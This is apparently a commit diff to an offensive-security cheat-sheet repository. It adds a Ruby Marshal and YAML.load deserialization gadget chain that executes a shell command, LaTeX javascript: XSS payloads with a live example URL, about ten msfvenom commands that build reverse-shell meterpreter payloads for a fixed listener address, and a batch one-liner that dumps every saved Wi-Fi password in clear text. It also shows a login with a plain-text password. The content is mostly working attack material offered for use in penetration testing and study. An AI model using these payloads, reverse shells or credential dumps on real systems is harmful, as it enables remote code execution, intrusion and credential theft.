Meterpreter generate + LaTeK XSS + Ruby Yaml

Insecure deserialization/Ruby.md

@@ -1,12 +1,37 @@
 # Ruby Deserialization
 
+## Marshal.load
+
 Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
 
 ```ruby
 for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
 ```
 
+## Yaml.load
+
+Vulnerable code
+```ruby
+require "yaml"
+YAML.load(File.read("p.yml"))
+```
+
+Exploitation code
+```ruby
+--- !ruby/object:Gem::Requirement
+requirements:
+  !ruby/object:Gem::DependencyList
+  specs:
+  - !ruby/object:Gem::Source::SpecificFile
+    spec: &1 !ruby/object:Gem::StubSpecification
+      loaded_from: "|id 1>&2"
+  - !ruby/object:Gem::Source::SpecificFile
+      spec:
+```
+
+
 ## References
 
 - [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
+- [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
 - [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)

LaTeX injection/README.md

@@ -66,6 +66,16 @@ If you get any LaTex error, consider using base64 to get the result without bad
 \input{|"/bin/hostname"}
 ```
 
+## Cross Site Scripting
+
+From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) 
+```bash
+\url{javascript:alert(1)}
+\href{javascript:alert(1)}{placeholder}
+```
+
+Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$`
+
 ## References
 
 * [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)

Methodology and Resources/Metasploit - Cheatsheet.md

@@ -45,6 +45,21 @@ exploit -j
 
 ## Meterpreter - Basic
 
+### Generate a meterpreter
+
+```powershell
+$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
+$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
+$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
+$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
+$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
+$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
+$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
+$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
+$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
+$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
+```
+
 ### SYSTEM / Administrator privilege
 
 ```powershell
@@ -161,3 +176,4 @@ Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 3
 ## References
 
 * [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/)
+* [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331)

Methodology and Resources/Windows - Privilege Escalation.md

@@ -258,6 +258,12 @@ Get Cleartext Pass
 netsh wlan show profile <SSID> key=clear
 ```
 
+Oneliner method to extract wifi passwords from all the access point.
+
+````batch
+cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
+```
+
 ## Processes Enumeration and Tasks
 
 What processes are running?

Methodology and Resources/Windows - Using credentials.md

@@ -93,7 +93,8 @@ python wmiexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
 
 ```powershell
 python rdpcheck.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
-rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5
+rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5 -g 70% 
+# -g : the screen will take up 70% of your actual screen size
 ```
 
 Note: you may need to enable it with the following command

Upload insecure files/README.md

@@ -2,6 +2,9 @@
 
 Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
 
+## Tools
+- [Fuxploider](https://github.com/almandin/fuxploider)
+
 ## Exploits
 
 ### PHP Extension